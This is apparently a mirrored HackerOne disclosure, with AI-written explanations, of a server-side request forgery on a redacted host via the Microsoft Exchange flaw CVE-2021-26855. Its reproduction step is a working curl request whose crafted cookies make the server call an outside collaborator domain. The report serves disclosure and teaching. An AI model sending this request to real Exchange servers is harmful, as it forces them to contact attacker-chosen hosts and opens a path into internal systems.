SSRF due to CVE-2021-26855 on ████████
The report claims a server-side request forgery (SSRF) vulnerability on a host due to CVE-2021-26855, a known Microsoft Exchange flaw. An attacker could use crafted cookies to make the server send requests to an arbitrary backend, as shown by a request to an external collaborator domain.
Originally disclosed on HackerOne
- Triaged in 29 hours
- Fixed in 12 days
- Disclosed after 17 days
Description: There exists a Server Side Request Frogery (SSRF) on █████████ due to CVE-2021-26855
References
https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-26855 https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2021-26855
Impact
Server Side Request Frogery
System Host(s)
██████
Affected Product(s) and Version(s)
CVE Numbers
CVE-2021-26855
Steps to Reproduce
curl -i -s -k -X $'GET' \
-H $'Host: ████' -H $'User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 11.1; rv:86.0) Gecko/20100101 Firefox/86.0' -H $'Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8' -H $'Accept-Language: en-US,en;q=0.5' -H $'Accept-Encoding: gzip, deflate' -H $'Connection: close' -H $'Upgrade-Insecure-Requests: 1' \
-b $'X-AnonResource=true; X-AnonResource-Backend=burpcollaborator.net/ecp/default.flt?~3; X-BEResource=localhost/owa/auth/logon.aspx?~3' \
$'https://███/owa/auth/x.js'
Output: █████████
Suggested Mitigation/Remediation Actions
Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.
How it worked
Root cause
Likely the Exchange server trusts certain client-supplied cookies (X-AnonResource, X-AnonResource-Backend, X-BEResource) to determine a backend URL, allowing an attacker to redirect requests to an arbitrary host.
Impact
An attacker could cause the server to make requests to arbitrary hosts, as shown by the external collaborator domain.
What the attacker needed
Network access to the Exchange server; vulnerable Exchange version (CVE-2021-26855)
Explained by bugbounty.wiki with AI from the original and checked against quotes from it; it can still be wrong. Read the original before relying on a detail.
Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.
Server-side request forgery (SSRF) is when an attacker tricks a server into making requests to places the attacker cannot reach directly. Here, the report says a known bug in Microsoft Exchange (CVE-2021-26855) lets someone send special cookies that make the server contact an outside address chosen by the attacker. The report is very short and mostly just names the CVE and shows a single request.
What is SSRF?
The server can be made to fetch an address the attacker chooses, reaching internal services, cloud metadata or other customers' data.